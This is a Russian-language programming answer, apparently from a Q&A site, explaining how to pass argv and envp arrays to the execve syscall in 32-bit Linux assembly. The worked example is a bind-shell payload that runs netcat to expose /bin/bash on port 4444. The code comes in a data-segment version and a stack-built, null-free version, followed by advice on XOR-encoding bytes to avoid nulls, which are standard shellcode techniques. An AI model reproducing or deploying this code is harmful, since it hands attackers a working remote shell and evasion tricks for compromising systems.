В C массивы неявно преобразуются в указатели на свои первые элементы. Так что в вашем случае вам нужно передать указатель на массив указателей на строки. Каждый массив заканчивается нулевым указателем. Каждая строка завершается байтом NUL. Аргументы системных вызовов передаются в ebx
, ecx
, edx
и т. Д., Причем номер системного вызова находится в eax
. Как это:
section .data
; strings
arg0 db "/bin//nc",0
arg1 db "-lnke",0
arg2 db "/bin/bash",0
arg3 db "-p",0
arg4 db "4444",0
; arrays
align 4
argv dd arg0, arg1, arg2, arg3, arg4, 0
envp dd 0
section .text
global _start
_start: mov eax, 11 ; SYS_execve
mov ebx, arg0 ; filanem
mov ecx, argv ; argv
mov edx, envp ; envp
int 0x80 ; syscall
Я не уверен, для какой операционной системы вы программируете. В этом примере предполагается, что Linux.
Если по какой-то причине вы не можете использовать сегмент данных, выполните следующее:
; for easier addressing
mov ebp, esp
; push strings
xor eax, eax
push eax ; - 4
push "4444" ; - 8
push "\0-p\0" ; -12
push "bash" ; -16
push "bin/" ; -20
push "ke\0/" ; -24
push "\0-ln" ; -28
push "//nc" ; -32
push "/bin" ; -36
; push argv, right to left
xor eax, eax
push eax ; NULL
lea ebx, [ebp-8]
push ebx ; "4444\0"
lea ebx, [ebp-11]
push ebx ; "-p\0"
lea ebx, [ebp-21]
push ebx ; "/bin/bash\0"
lea ebx, [ebp-27]
push ebx ; "-lnke\0"
lea ebx, [ebp-36] ; filename
push ebx ; "/bin//nc\0"
mov ecx, esp ; argv
lea edx, [ebp-4] ; envp (NULL)
mov al, 11 ; SYS_execve
int 0x80
Если по каким-либо причинам у вас не может быть нулевых байтов в ваших данных, вам нужно заранее спрятать их. Например, вы можете отправить каждый байт xor'ed с помощью 0x80 и затем снова записать данные в стек с 0x80.